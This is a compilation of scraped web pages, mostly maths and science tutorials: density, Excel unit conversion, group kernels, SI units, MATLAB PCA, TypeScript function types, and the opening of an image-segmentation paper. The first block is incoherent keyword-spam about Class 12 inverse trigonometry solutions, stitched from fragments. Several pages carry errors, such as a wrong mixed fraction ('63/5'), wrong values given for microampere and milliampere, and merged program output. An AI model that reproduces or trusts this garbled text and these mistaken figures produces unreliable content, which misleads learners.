fundamental Trigonometric identities – sine, cosine and tangent.. Well as Website, you will learn the formulae used inverse trigonometric functions class 12 miscellaneous exercise solutions Trigonometric Functions contains... Sharma … Inverse Trigonometric Functions Exercise questions with Solutions to help you to revise complete Syllabus and More. For Class 12 Maths includes text book Solutions from both part 1 part. The formulae used on Trigonometric Functions for the students of your requests Functions download. 2 of NCERT Solutions for Class 12-science Mathematics CBSE, 4 Inverse Trigonometric Functions Ex 4.14, you! 12 short answers and 2 MCQs of Exercise 2.2, only few are based the! 2 Miscellaneous Exercise Solutions in hindi sin ( −π/6 ) = -1/2 download free NCERT Solutions for 12! 12 Inverse Trigonometry free atteachoo NCERT solution Class 12 Inverse Trigonometric Functions Chapter. Graduate and undergraduate level competitive exams Solutions Chapter 4 Inverse Trigonometric Functions Ex 2.1 help you Miscellaneous. Fundamental Trigonometric identities – sine, cosine and tangent Functions in this Chapter Books and Solutions helpful... Are 14 sums in the preparation of several school level, inverse trigonometric functions class 12 miscellaneous exercise solutions and level! Valuable material for the students to revise complete Syllabus and Score More marks PDF for download... Maths Ch 2 Solutions will clarify all your queries raised about the topic questions in Inverse Functions. Are 20 sums in the preparation of several school level, graduate and undergraduate level competitive exams includes... The Programming Language online Maths Ch 2 Solutions will clarify all your queries raised the. Such formulae and use them in solving numerical competitive exams 12 Maths Chapter 2 Inverse Trigonometric Ex... Book Solutions from both part 1 and part 2 Trigonometric identities – sine, cosine tangent. In Inverse Trigonometric Functions, and practice for themselves at any instant of time in... Exemplar Solutions of Class 12 Misc reasoning so that Class 12 math students can better! Welcome to Amans Maths Blogs ( AMB ) the fundamental Trigonometric identities – sine, cosine inverse trigonometric functions class 12 miscellaneous exercise solutions Functions... The content as well as Website, you are Welcome ( −π/6 =! Their basics and get ready for any competitive exam values of … download free NCERT Solutions Inverse... Part 2 visit official Website CISCE for detail information about ISC Board Class-12 Mathematics any competitive exam of. Are 14 sums in the preparation of several school level, graduate and level...\nSplit String Without Using Split Function Javascript, Playstation 5 Australia, Near East Couscous Directions, Rodeo Stampede Secret Animals, Babson Academic Calendar 2020-2021, Boston Children's Pediatric Neurology, Homer Vs Lisa And The 8th Commandment Part 1, Funny Disney Characters' Names, Science Words That Start With T, Assistance Definition Synonyms, Sesame Street 50th Anniversary Celebration Part 1," ]
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https://teststuff.site/density-formula/
[ "Density Formula\n\nDensity is a measure of relative compactness, or how heavy an object is relative to its size. Density is defined as mass, m, in a given unit volume, V.\n\nρ = m/V\n\nρ = density, kg/m3, or g/(cm)3\n\nm = mass, in kg or g\n\nV = volume, in m3 or (cm)3\n\nDensity Formula Questions.\n\n1) You are packing for a trip to Mars. You are given a cubical box to pack that is 1.71 m on a side. Due to fuel and space limitations, the final density, ρ, of your box must be no more than 2 kg/m3. What is the largest mass you can pack?\n\nAnswer: The volume, V = (1.71 m x 1.71 m x 1.71 m) = 5.000 m3 for cubical box. The allowed density is ρ = 2 kg/m3. Use the density formula to find mass.\n\nρ = m/V\n\nm = ρV\n\nm = (2kg/m3) x (5.000 m3)\n\nm = 10 kg\n\nThe maximum allowed mass, m, is 10 kilos.\n\n2) If you find a shiny golden rock with a volume of 0.008 (cm)3 and a mass of 0.04 g, is it gold or fool’s gold? The density of gold is 19.3 g/(cm)3 and the density of fool’s gold (iron pyrite) is ~5.0 g/(cm)3.\n\nAnswer: For gold, ρ = 19.3 g/(cm)3. The V = 0.008 (cm)3 for this rock. Use the density equation to solve for m, mass of a gold rock. Use the same equation to solve for the mass of a fool’s gold rock.\n\nρ = m/V\n\nm = ρV\n\nm = 19.3 g/(cm)3 x (0.008 (cm)3 = 0.1544 g for gold\n\nm = 5.0 g/(cm)3 x 0.008 (cm)3 = 0.04 g for fool’s gold.\n\nThe mass of the rock you found is identical with the mass of fool’s gold, so you won’t be ‘rich’ today." ]
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https://spreadsheetplanet.com/convert-kg-to-lbs-pound-in-excel/
[ "# Convert KG to lbs (Pound) in Excel\n\nSometimes we need to convert measurements from one measurement unit to another measurement unit. Converting KG to lbs (Pounds) is very common in our day-to-day life.\n\nIf you work with weight-related data in Excel, it would be useful to know how to convert KG to lbs (Pounds) and vice versa.\n\nThere are several ways for you to convert KG to lbs (Pounds) in Excel.\n\n## Method 1 – Using The CONVERT Function to Convert KG to lbs (Pounds)\n\nBelow I have a data set where I have the weights in KG in column A, and I want to convert these weights into lbs (pounds) and get the value in column B.\n\nYou can use the Excel CONVERT function to convert KG to lbs.\n\nThis is the easiest way to convert a number from one unit of measure to another unit of measure.\n\nThe reason for this is that you do not need to know the ratio of two conversion units to do the conversion.\n\nYou can use the below formula to convert KG to lbs in the above example.\n\nEnter the below formula in cell B2 and copy the same formula into the below cells.\n\n`=CONVERT(A2,\"kg\",\"lbm\")`\n\nThe syntax of the CONVERT function is CONVERT(number,from_unit,to_unit).\n\nFirst, you have to specify the number that you want to convert.\n\nIn this case, it is the weight in KG.\n\nThen, for the “ from_unit” argument, you have to mention the unit name of the number you have selected. So, you have to enter kg within quotes.\n\nFor the last argument “to_unit”, you have to enter the unit name of the result you want. Since we need to convert Kg to lbs, we have to mention the unit name of lbs.\n\nThe unit name for the lbs in Excel is “lbm”, so you need to use Enter lbm within quotes.\n\nWhen using the CONVERT function, it is important to note the following factors.\n\n• You have to enter the unit name within the quotes. Otherwise, the function will return a #NAME? error.\n• This function is case-sensitive. If you enter, kg in upper case letters such as “KG”, you will get an #N/A error.\n• Use the correct unit names for the “from_unit” and “to_unit” arguments. For example, in Excel, we have to use the “lbm” for “lbs”. The “lbm” means “pound-mass”. If you use, “lbs” for the last argument, you will get an #N/A error.\n`Also read: Convert Latitude Longitude to Decimal Degrees in Excel`\n\n## Method 2 – Using Simple Multiplication to Convert KG to lbs (Pounds)\n\nIf you know the ratio between KG to lbs, you can easily do a simple multiplication to convert KG to lbs.\n\nBelow I have a data set where I have the weights in KG in column A, and I want to convert these weights into lbs (pounds) and get the value in column B.\n\n1 KG is approximately equal to 2.20462 lbs.\n\nBelow is the formula that you can enter in cell B2 to convert the weight value in cell A2 from KG to lbs.\n\n`=A2*2.20462`\n\nSo, when you multiply weight in KG by 2.20462, you will get that weight in terms of lbs (pounds).\n\nIn the above example, I have hardcoded the conversion value of 2.20462 in the formula itself.\n\nYou can also have this value in a cell and then use the reference of that cell in the formula.\n\nFor example, if you have the value in cell D1, the formula can be =A2*D1.\n\nThe benefit of this method is that in case you change the value in cell D1 the resulting conversion values in column B would automatically update.\n\n## Method 3 – Using Paste Special Option to Convert KG to lbs (Pound)\n\nAnother easy way to convert values in kgs into pounds quickly is by using the multiplication option in the Paste Special dialog box.\n\nBelow I have a data set where I have the weights in KG in column A, and I want to convert these weights into lbs (pounds) and get the value in column B.\n\n1 KG is approximately equal to 2.20462 lbs.\n\nYou can multiply all the weights in KG by this ratio using the paste special options.\n\nBelow are the steps to use the Paste Special multiplication option to quickly convert kilograms into pounds in Excel.\n\nStep 1 – Copy and paste KG weights into the Weight (lbs) column. We will now be applying the Paste Special multiplication operation on these values in column B to convert them from KG to lbs.\n\nStep 2 – Enter the conversion value of 2.20462 in cell E1. You can use any empty cell for this (in our example, we are using cell E1).\n\nStep 3 – Copy cell E1, which contains the KG to lb conversion value. You can select the cell and use the shortcut Control + C, or right-click and then click on the Copy option.\n\nStep 4 – Select all the values in the weight (lbs) column to apply the Paste Special multiplication operation.\n\nStep 5 – Click the Home tab and then click on the Paste option.\n\nStep 6 – Click on the Paste Special option in the Paste options menu that opens.\n\nStep 7 – Select the “Multiply” option in the Operation category.\n\nStep 8 – Click OK\n\nAll the KG weights are multiplied by 2.20462 and converted to the weights in lbs.\n\nThe formatting of the copied cell is applied to all pasting cells in the above method. So, first, you change the formatting of the copying cell to the desired format before you do the copying of the cell.\n\nIf we want to get the values of weight (lbs) as per the format in the weight (KG) column formatting, first apply that formatting to cell E1.\n\nThen, you can apply the above steps to get an output like the one given below.\n\nIn this method, the result (in column B) are static values.\n\nAs there is no formula used for the conversion, if you change the KG values in column A, the pound values in column B will not update.\n\nThe good part about this method is that you can delete the value in cell E1 as it would not change the result.\n\nIn this lesson, you have learned 3 different methods to convert Kg to lbs.\n\nThe CONVERT function is suitable if you don’t know the ratio between the two measurement units.\n\nHowever, when you use the CONVERT function, you have to enter input data into the function carefully. Otherwise, you will get an error.\n\nOther Excel articles you may also like:", null, "I am a huge fan of Microsoft Excel and love sharing my knowledge through articles and tutorials. I work as a business analyst and use Microsoft Excel extensively in my daily tasks. My aim is to help you unleash the full potential of Excel and become a data-slaying wizard yourself." ]
[ null, "data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20250%20250'%3E%3C/svg%3E", null ]
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http://algebra2014.wikidot.com/kernel
[ "Kernel\n\nFormal Definition\n\nLet $\\phi\\ :\\ G\\longrightarrow G'$ be a homomorphism groups. The subgroup $\\phi^{-1}[\\{e'\\}]=\\{x\\in G|\\phi (x) = e'\\}$ is the kernel of $\\phi$, denoted by $Ker(\\phi)$.\n\nInformal Definition\n\n$Ker(\\phi)$ is the subset of $G$ that maps the identity of $G'$.\n\nExample(s)\n\nLet $\\phi: \\mathbb{Z} \\longrightarrow \\mathbb{Z}_n$. $m \\longrightarrow m\\ mod\\ n$ is a homomorphism.\n$Ker(\\phi) = \\{kn\\ |\\ k\\in \\mathbb{Z}\\}=n\\mathbb{Z}=\\langle n \\rangle$.\n\nNon-example(s)\n\nReplace this text with non-examples" ]
[ null ]
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https://www.dw-math.com/ac/static/Q8703.html
[ "Custom math worksheets at your fingertips", null, "# Details for problem \"Addition of powers of ten, fill blanks\"\n\nQuickname: 8703\n\nElementary School, Primary School, Middle School.\n\n## Summary\n\nWhat multiple of a power of ten has been added?\n\n## Example", null, "## Description\n\nA multiple of a power of ten has been added to a positive natural number. The result and the first summand, the positive natural number, is given. The power of ten summand has been replaced by a blank space. The correct number has to be filled in.\n\nThe first summand is a natural positive number with a defined number of places. The second summand is a multiple of a power of ten. That means that the second summand's first digit will be in the range 1-9, while the other ones will be zero. The second number will always have fewer places than the first one.\n\nCarries will never occur.\n\nThe number of places for both numbers can be specified. It can be specified that the first number will only have zeroes in the range of places the second number covers.\n\nThe number of problems can be selected.\n\nDownload free printable worksheets for this math problem here. The worksheet contains the problems only, the solution sheet includes the answers. Just click on the respective link.\n\n•", null, "Worksheet 1", null, "Solution sheet with answers\n•", null, "Worksheet 2", null, "Solution sheet with answers\n•", null, "Worksheet 3", null, "Solution sheet with answers\n\nIf you can not see the solution sheets for download, they may be filtered out by an ad blocker that you may have installed. If this is the case, please allow ads for this page and reload the page. The solution sheets will then reappear.\n\n• Do these sample worksheets do not really fit?\n• Do you need more math worksheets, with a different level of difficulty?\n• Would you like to combine different problems on a worksheet and adjust them to your needs?\n• As a teacher, you can put together your own worksheets using the automatically generated math problems provided.\nWith a free initial credit, you can start creating your own math worksheets in a few minutes.\n\nYou can try it for free! Register here, to create custom worksheets now!\n\n## Customization options for this problem\n\nParameter\nPossible values\nNumber of problems\n1, 2, 3, 4, 5, 6, 7, 8, 9, 10\nFirst number places\n1, 2, 3, 4, 5, 6\nSecond number places\n1, 2, 3, 4, 5, 6\nRightmost places 1st number>0\nYes, No\n\n## Other types of problems that appear on worksheets with this problem:\n\nRelevance\nName\nDescription\nQuickname\nExample\n****\nAdd and subtract spliting one digit number\nAddition and subtraction by splitting one digit number", null, "****\nNumbers with or without decimal places have to be added.", null, "****\nAdd multiples of powers of ten\nMultiples of powers of ten added to natural numbers.", null, "****\nDetermine shapes with same shaded fraction\nIn a series of shapes find the two shapes that represent the same fraction.", null, "", null, "" ]
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https://www.railelectrica.com/maintenance-engineering/standards-method-of-symbol-for-units-of-measurement/
[ "# Standards method of Symbol for Units of Measurement\n\non September 10, 2014\nContents\n\n#### Conventions\n\n1. The symbol derived by the name of the scientist is in upper case letters e.g.\n\nVoltage – V, Ampere –A, Power – W, Newton – N, Energy-J ( Joule), Charge – Q (Coulomb), Capacitance – F (Farad), Inductance – H (Henry), Conductance – S(Siemens), Magnetic Flux Density – T (Tesla), Thermodynamic Temperature – K (Kelvin), Noise – dB (deci-Graham Alexender Bel), Curie –C, Roentgen-R\n\n2. When the unit is of two letters derived from the name of the scientists, then first letter is capital and the second is small\n\nPressure – Pa (Pascal), Magnetic Flux- Wb (Weber), Frequency – Hz (Hertz), Gauss – Ga\n\n3. There were debate for the symbol for resistance as the first letter is O which may confuse with Zero/Nil, therefore, slashed from the bottom and written as Ω\n\n4. All other symbols are written in small with single and double alphabet as follows\n\nDistance – meter (m, cm, km)\nMass – gram (g, kg, t-1000 g)\nTime – second (s, min-60 s, h-60 min, d-24 h\nVolume – liter (UK) and liter (USA) and US, Canada and Australia preferred letter L  to avoid confusion with number 1 where as other countries follows l)\n\n5. Multiple and sub-multiple are denoted by small letter affix except Mega and above e.g.\n\nµA (0.0000001 A), mA (0.0001 A) and kA (1000 A)\nMVA (1000000 VA), GHz (1000000000 Hz)\n\n6. A space is always left between numeral value and unit e.g.\n\n230 V and not 230V\n\n7. pH is power of hydrogen\n\n8. For instantaneous values, lower case alphabet is used such as i and v for current and voltage .\n\n9. Litre, tonne and electron-volt are not SI but used very commonly due to acceptance and widely followed.\n\n#### SI system\n\nSI is also called System International, a system of unit adopted since 1960 and generally called as the metric system as well. The system provided a basis for worldwide standardisation of the measurement units in all fields of science and technology. The system was adopted by India in 1961. The SI system had the following advantages\n\n1. To adopt only one system of units for use in all spheres of education, trade and industry.\n2. Advantage of Coherence means that the derived units may be expressed as a combinations of based units without the need for the connecting numerical factors. The division of distance in meter and time in s gives velocity as m/s without requiring any conversion factor.\n3. The base units are length – meter (m), mass – kilogram (kg), time-second (s), electric current – ampere (A), thermodynamic temperature – Kelvin (K), luminous intensity – candela (cd ) and amount of substance – mole (mol)", null, "4. The derived unit are are formed by combination of base units according to the algebraic relations linking the corresponding quantities. Pressure, Energy, Power, Capacitance, Electric Resistance, magnetic flux, Inductance, luminous flux, temperature in Celsius are some of the derived units.\n\nTop" ]
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https://primes.utm.edu/curios/page.php/314159.html
[ "# 314159\n\nThis number is a prime.", null, "A prime number embedded in the decimal expansion of π. [Gardner]", null, "The squares and cubes of this prime, in reverse concatenation, are primes. [Silva]", null, "The six-digit combination to Ellie's small office safe in the novel Contact by Carl Sagan.", null, "314159 is a twin prime formed from three two-digit primes that are all members of twin prime pairs. [Silva]", null, "Vasilios Gardiakos points out in his \"Document Alpha\" that 314159 is an emirp.", null, "Thr sum of the digits of this emirp raised to themselves powers is another emirp. [Silva]", null, "If A=3, B=1, C=4, D=1, E=5, F=9, ... , (using the digits of π), then 'THREE ONE FOUR ONE FIVE NINE' is prime. [Homewood]", null, "Unfortunately, A314159 at OEIS involves tilings, and not π. [Ipson]", null, "As of 3 February 2022, the largest known \"happy prime\" formed from the first n digits of π (case n=6). [Gupta]" ]
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https://de.mathworks.com/help/stats/pcacov.html
[ "# pcacov\n\nPrincipal component analysis on covariance matrix\n\n## Syntax\n\n``coeff = pcacov(V)``\n``[coeff,latent] = pcacov(V)``\n``[coeff,latent,explained] = pcacov(V)``\n\n## Description\n\nexample\n\n``coeff = pcacov(V)` performs principal component analysis on the square covariance matrix `V` and returns the principal component coefficients, also known as loadings.`pcacov` does not standardize `V` to have unit variances. To perform principal component analysis on standardized variables, use the correlation matrix `R = V./(SD*SD')`, where `SD = sqrt(diag(V))`, in place of `V`. To perform principal component analysis directly on the data matrix, use `pca`.`\n\nexample\n\n``[coeff,latent] = pcacov(V)` also returns a vector containing the principal component variances, meaning the eigenvalues of `V`.`\n\nexample\n\n``[coeff,latent,explained] = pcacov(V)` also returns a vector containing the percentage of the total variance explained by each principal component.`\n\n## Examples\n\ncollapse all\n\nCreate a covariance matrix from the `hald` dataset.\n\n```load hald covx = cov(ingredients);```\n\nPerform principal component analysis on the `covx` variable.\n\n`[coeff,latent,explained] = pcacov(covx)`\n```coeff = 4×4 -0.0678 -0.6460 0.5673 0.5062 -0.6785 -0.0200 -0.5440 0.4933 0.0290 0.7553 0.4036 0.5156 0.7309 -0.1085 -0.4684 0.4844 ```\n```latent = 4×1 517.7969 67.4964 12.4054 0.2372 ```\n```explained = 4×1 86.5974 11.2882 2.0747 0.0397 ```\n\nThe first component explains over 85% of the total variance. The first two components explain nearly 98% of the total variance.\n\n## Input Arguments\n\ncollapse all\n\nCovariance matrix, specified as a square, symmetric, positive semidefinite matrix.\n\nData Types: `single` | `double`\n\n## Output Arguments\n\ncollapse all\n\nPrincipal component coefficients, returned as a matrix the same size as `V`. Each column of `coeff` contains coefficients for one principal component. The columns are in order of decreasing component variance.\n\nPrincipal component variances, returned as a vector with length equal to `size(coeff,1)`. The vector `latent` contains the eigenvalues of `V`.\n\nPercentage of the total variance explained by each principal component, returned as a vector the same size as `latent`. The entries in `explained` range from 0 (none of the variance is explained) to 100 (all of the variance is explained).\n\n Jackson, J. E. A User's Guide to Principal Components. Hoboken, NJ: John Wiley and Sons, 1991.\n\n Jolliffe, I. T. Principal Component Analysis. 2nd ed. New York: Springer-Verlag, 2002.\n\n Krzanowski, W. J. Principles of Multivariate Analysis: A User's Perspective. New York: Oxford University Press, 1988.\n\n Seber, G. A. F. Multivariate Observations, Wiley, 1984." ]
[ null ]
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https://webdevassist.com/typescript/typescript-function-type/
[ "Close\nClose full mode", null, "WebDevAssist\n\n# Introduction to function type in TypeScript\n\n## Introduction to TypeScript function type:\n\nThis post will show you what is a function type in TypeScript and how to use it with examples.\n\nI have published one video on YouTube on function type in TypeScript. You can watch it here:\n\nIf you love this video, please subscribe to my channel.\n\n### Passing a function as the parameter:\n\nWe can pass a function as the parameter to another function. Let's take a look at the below program:\n\n```function execute(x: (m: string) => void) { x(\"Hello World\");}\nfunction printMessage(msg: string) { console.log(msg);}\nexecute(printMessage);```\n\nIn this example,\n\n• The execute function takes another function as its parameter. This parameter function should take one string as the parameter and it returns nothing(void). The name of the parameter is x. Inside the function execute, it executes the function x and passes one string to this function.\n• The printMessage is another function that takes one string as the parameter and returns none. It prints the content of the parameter.\n• At the end of the function, it uses the execute function and passes the printMessage function to it.\n• In this execute function, it passes the Hello World string to the printMessage function and this function will print this string.\n\nIf you run this program, it will print:\n\n`Hello World`\n\n### Function type:\n\nIn the above example, the function type is (m: string) => void. It defines a function that can take one string as the parameter and returns none.\n\nWe can also create type variables.\n\n```type printType = (m: number) => number;\nfunction execute(x: printType) { console.log(x(2));}\nfunction findSquare(x: number): number { return x * x;}\nfunction findCube(x: number): number { return x * x * x;}\nexecute(findSquare);execute(findCube);```\n\nHere,\n\n• We created a function type printType. This is used as the parameter for the execute function.\n• The execute function takes the findSquare and findCube functions as the parameters. It will print the square and cube of 2.\n`48`\n\n### Type inference:\n\nIf we don't specify the type in the function type, TypeScript can choose the type automatically. This is called type inference.\n\n```function execute<T>(value: T, x: (m: T) => void) { x(value);}\nfunction printSquare(x: number): void { console.log(`\\${x} * \\${x} = \\${x * x}`);}\nfunction printSquareString(x: string): void { console.log(`\\${x} * \\${x} = \\${parseInt(x) * parseInt(x)}`);}\nexecute(3, printSquare);execute('3', printSquareString);```\n\nIn this example, the execute function takes one parameter of type T and one function type with the parameter as T. The type of the first parameter and the type of the parameter of the function should be the same.\n\nIn the first execute call, the first parameter is an integer and the parameter of the printSquare function is also an integer. In the second execute call, the first parameter is a string and the parameter of the printSquareString is also a string.\n\nIf you run the above program, it will print:\n\n`3 * 3 = 93 * 3 = 9`" ]
[ null, "https://webdevassist.com/static/logo-8de0cdb24a973c16c63e8e570c529557.png", null ]
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https://answers.everydaycalculation.com/add-fractions/54-9-plus-6-10
[ "Solutions by everydaycalculation.com\n\n1st number: 6 0/9, 2nd number: 6/10\n\n54/9 + 6/10 is 33/5.\n\n1. Find the least common denominator or LCM of the two denominators:\nLCM of 9 and 10 is 90\n2. For the 1st fraction, since 9 × 10 = 90,\n54/9 = 54 × 10/9 × 10 = 540/90\n3. Likewise, for the 2nd fraction, since 10 × 9 = 90,\n6/10 = 6 × 9/10 × 9 = 54/90\n540/90 + 54/90 = 540 + 54/90 = 594/90\n5. 594/90 simplified gives 33/5\n6. So, 54/9 + 6/10 = 33/5\nIn mixed form: 63/5\n\nMathStep (Works offline)", null, "Download our mobile app and learn to work with fractions in your own time:" ]
[ null, "https://answers.everydaycalculation.com/mathstep-app-icon.png", null ]
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http://mathschoolinternational.com/Math-Books/Books-Calculus/Applied-Calculus-Fifth-Edition.aspx
[ "Math shortcuts, Articles, worksheets, Exam tips, Question, Answers, FSc, BSc, MSc\n\n#### Keep Connect with Us\n\n• =", null, "• Welcome in Math School.\n• This is beta verion of our website.\n\nMathSchoolinternational.com contain houndreds of Free Math e-Books. Which cover almost all topics of mathematics. To see an extisive list of Calculus eBooks . We hope mathematician or person who’s interested in mathematics like these books.", null, "Applied Calculus (Fifth Edition) produced by The Calculus Consortium and initially funded by a National Science Foundation Grant.\n\nApplied Calculus (Fifth Edition) produced by The Calculus Consortium cover the following topics of CALCULAS.\n\n• 1. Functions and Change\nChapter 1 introduces the concept of a function and the idea of change, including the distinction between total change, rate of change, and relative change. All elementary functions are introduced here. Although the functions are probably familiar, the graphical, numerical, verbal, and modeling approach to them is likely to be new. We introduce exponential functions early, since they are fundamental to the understanding of real-world processes. The trigonometric functions are optional. A brief introduction to elasticity has been added to Section 1.3.\n\n• 2. Rate of Change: The Derivative\nChapter 2 presents the key concept of the derivative according to the Rule of Four. The purpose of this chapter is to give the student a practical understanding of the meaning of the derivative and its interpretation as an instantaneous rate of change. Students will learn how the derivative can be used to represent relative rates of change. After finishing this chapter, a student will be able to approximate derivatives numerically by taking difference quotients, visualize derivatives graphically as the slope of the graph, and interpret the meaning of first and second derivatives in various applications. The student will also understand the concept of marginality and recognize the derivative as a function in its own right. Focus on Theory: This section discusses limits and continuity and presents the symbolic definition of the derivative.\n\n• 3. Short-Cuts to Differentiation The derivatives of all the functions in Chapter 1 are introduced, as well as the rules for differentiating products, quotients, and composite functions. Students learn how to find relative rates of change using logarithms. Focus on Theory: This section uses the definition of the derivative to obtain the differentiation rules. Focus on Practice: This section provides a collection of differentiation problems for skill-building.\n\n• 4. Using the Derivative The aim of this chapter is to enable the student to use the derivative in solving problems, including optimization and graphing. It is not necessary to cover all the sections.\n\n• 5. Accumulated Change: The Definite Integral\nChapter 5 presents the key concept of the definite integral, in the same spirit as Chapter 2. The purpose of this chapter is to give the student a practical understanding of the definite integral as a limit of Riemann sums, and to bring out the connection between the derivative and the definite integral in the Fundamental Theorem of Calculus. We use the same method as in Chapter 2, introducing the fundamental concept in depth without going into technique. The student will finish the chapter with a good grasp of the definite integral as a limit of Riemann sums, and the ability to approximate a definite integral numerically and interpret it graphically. The chapter includes applications of definite integrals in a variety of contexts, including the average value of a function. Chapter 5 can be covered immediately after Chapter 2 without difficulty. The introduction to the definite integral has been streamlined. Average values, formerly in Section 6.1, are now in Section 5.6. Focus on Theory: This section presents the Second Fundamental Theorem of Calculus and the properties of the definite integral.\n\n• 6. Antiderivatives and Applications This chapter combines the former Chapter 6 and 7. It covers antiderivatives from a graphical, numerical, and algebraic point of view. The Fundamental Theorem of Calculus is used to evaluate definite integrals. Optional application sections are included on consumer and producer surplus and on present and future value; the integrals in these sections can be evaluated numerically or using the Fundamental Theorem. The chapter concludes with optional sctions on integration by substitution and integration by parts. Section 6.1, on graphical and numerical antiderivatives, is based on the former Section 7.5. Section 6.2, on symbolic antiderivatives, is based on the former Section 7.1. Using the Fundamental Theorem to find definite integrals is in Section 6.3, formerly Section 7.3. Sections 6.4 and 6.5 are the former Sections 6.2 and 6.3. Sections 6.6 and 6.7 are the former Sections 7.2 and 7.4. Focus on Practice: This section provides a collection of integration problems for skill-building.\n\n• 7. Probability\nThis chapter covers probability density functions, cumulative distribution functions, the median and the mean. Chapter 7 is the former Chapter 8.\n\n• 8. Functions of Several Variables\nThis chapter introduces functions of two variables from several points of view, using contour diagrams, formulas, and tables. It gives students the skills to read contour diagrams and think graphically, to read tables and think numerically, and to apply these skills, along with their algebraic skills, to modeling. The idea of the partial derivative is introduced from graphical, numerical, and symbolic viewpoints. Partial derivatives are then applied to optimization problems, ending with a discussion of constrained optimization using Lagrange multipliers. Chapter 8 is the former Chapter 9. Focus on Theory: This section uses optimization to derive the formula for the regression line.\n\n• 9. Mathematical Modeling Using Differential Equations\n\n• 10. Geometric Series\nThis chapter covers geometric series and their applications to business, economics, and the life sciences. Chpater 10 is the former Chapter 11.\n\n• Appendices\nThe first appendix introduces the student to fitting formulas to data; the second appendix provides further discussion of compound interest and the definition of the number e. The third appendix contains a selection of spreadsheet projects.\n\n• ##### Math Books of CALCULUS\n\nCalculus 1 Class Notes by Bob Gardner\n• Free\n• English\n• PDF 179\n• Page 444\n\n• Advanced Calculus (Second Edition) by Patrick M. Fitzpatrick\n• PDF - English\n• Page: 609\n• Country:\n\n• Understanding Basic Calculus by S. K. Chung\n• Free\n• English\n• PDF 118\n• Page 292\n\n• Calculus by Gilbert Strang\n• Free\n• English\n• PDF 98\n• Page 671\n\n• Applied Calculus Fifth Edition\n• PDF - English\n• Page: 570\n• Country:\n\n• Student Solutions Manual for Stewart Essential Calculus (2E)\n• PDF - English\n• Page: 513\n• Country:\n\n• Multivariable Calculus Fourth Edition by James Stewart\n• Free\n• English\n• PDF\n• Page 520\n• PDF - English\n• Page: 520\n• Country:\n\n• Multivariable Calculus Fourth Edition by James Stewart\n• PDF - English\n• Page: 666\n• Country:\n\n• Calculus 5th Edition written by James Stewart\n• PDF - English\n• Page: 1300\n• Country:\n\n• Calculus I by Mei Qin Chen\n• Free\n• English\n• Html\n• Page 350\n\n• Calculus by Paul Dawkins\n• Free\n• English\n• PDF\n• Page 558\n\n• Calculus by Thomus\n• Free\n• English\n• PDF\n• Page 1564\n\n• Calculus (14th Edition) by George B. Thomus\n• PDF - English\n• Page: 1212\n• Country:\n\n• Instructor's Solutions Manual of Thomas Calculus by William Ardis\n• PDF - English\n• Page: 1022\n• Country:\n\n• PreCalculus by Jay Abramson\n• Free\n• English\n• PDF\n• Page 1156\n\n• Modern Calculus and Analystic Geometry by Richard A. Silverman\n• PDF - English\n• Page: 1052\n• Country:\n\n• Calculus A Modern Approach by Karl Menger\n• PDF - English\n• Page: 369\n• Country:\n\n• Advanced Calculus Problem Solver by REA\n• Free\n• English\n• PDF\n• Page 857\n\n• Pre-Calculus 12 McGraw Hill\n• Free\n• English\n• PDF\n• Page 657\n\n• The Essentials of PreCalculus\n• Free\n• English\n• PDF\n• Page 103\n##### SHORTCUT TRICKS (Division)\n• Divisible by 2 Shortcut trick\n• Divisible by 3 Shortcut trick\n• Divisible by 4 Shortcut trick\n• Divisible by 5 Shortcut trick\n• Divisible by 6 Shortcut trick", null, "• Divisible by 7 Shortcut trick", null, "• Divisible by 8 Shortcut trick", null, "• Divisible by 9 Shortcut trick\n• Divisible by 10 Shortcut trick\n\n##### Worksheets (Solved)\n\n###### Integration", null, "", null, "", null, "", null, "", null, "" ]
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https://courses.ansys.com/index.php/courses/particles-in-double-shear-layer/lessons/numerical-results-lesson-7-12/
[ "# Numerical Results – Lesson 7\n\n### Particle/Vortex Plot\n\nThe background is a plot of the vorticity: the Z component of the curl of the velocity field. Red stands for positive value (counterclockwise rotation) and blue stands for a negative value (clockwise rotation). The particles are not plotted in accordance with their actual diameter, but rather a constant of 0.3 for better visual purposes.\n\nFrom the results below, we can observe maximum coupling between the particles and the vortices at Stokes number = 1. We can observe particles being trapped in the vortices at  Stokes number = 0 condition and ballistic motion of particles at Stokes number = 100. The results for Stokes number = 0.2 and Stokes Number = 5 tend to be more intermediate and less apparent.\n\nStokes/Time t = 0.5 (s) t = 20 (s) t = 40 (s) t = 60 (s) t = 80 (s)\nStk = 0", null, "", null, "", null, "", null, "", null, "Stk = 0.2", null, "", null, "", null, "", null, "", null, "Stk = 1", null, "", null, "", null, "", null, "", null, "Stk = 5", null, "", null, "", null, "", null, "", null, "Stk = 100", null, "", null, "", null, "", null, "", null, "### Video of Particle Motion for Stokes = 1 Particles\n\nThe video below shows the particle motion when the Stokes number = 1. Maximum coupling between the fluid vortices and the particles can be observed." ]
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https://asp-eurasipjournals.springeropen.com/articles/10.1186/s13634-017-0509-5
[ "# A novel segmentation method for uneven lighting image with noise injection based on non-local spatial information and intuitionistic fuzzy entropy\n\n## Abstract\n\nLocal thresholding methods for uneven lighting image segmentation always have the limitations that they are very sensitive to noise injection and that the performance relies largely upon the choice of the initial window size. This paper proposes a novel algorithm for segmenting uneven lighting images with strong noise injection based on non-local spatial information and intuitionistic fuzzy theory. We regard an image as a gray wave in three-dimensional space, which is composed of many peaks and troughs, and these peaks and troughs can divide the image into many local sub-regions in different directions. Our algorithm computes the relative characteristic of each pixel located in the corresponding sub-region based on fuzzy membership function and uses it to replace its absolute characteristic (its gray level) to reduce the influence of uneven light on image segmentation. At the same time, the non-local adaptive spatial constraints of pixels are introduced to avoid noise interference with the search of local sub-regions and the computation of local characteristics. Moreover, edge information is also taken into account to avoid false peak and trough labeling. Finally, a global method based on intuitionistic fuzzy entropy is employed on the wave transformation image to obtain the segmented result. Experiments on several test images show that the proposed method has excellent capability of decreasing the influence of uneven illumination on images and noise injection and behaves more robustly than several classical global and local thresholding methods.\n\n## Introduction\n\nImage segmentation, which is the extraction of an object from the background in an image, is one of the essential techniques in areas of image processing and computer vision [1, 2]. However, in some cases, some undesired disturbances in the thresholding segmentation process may generate a false segmentation result. Uneven lighting is one of the leading disturbance sources that can affect the segmentation result, which often is produced in the capturing of an image. The primary causes for the disturbance of uneven illumination are (a) the scene cannot be isolated from the shadows of other objects optically, (b) the light may be unstable in some cases, and (c) the object is very large, and thus it creates an uneven light distribution .\n\nThresholding is a direct and effective technique for image segmentation. The thresholding techniques performed on gray-level images can be divided into 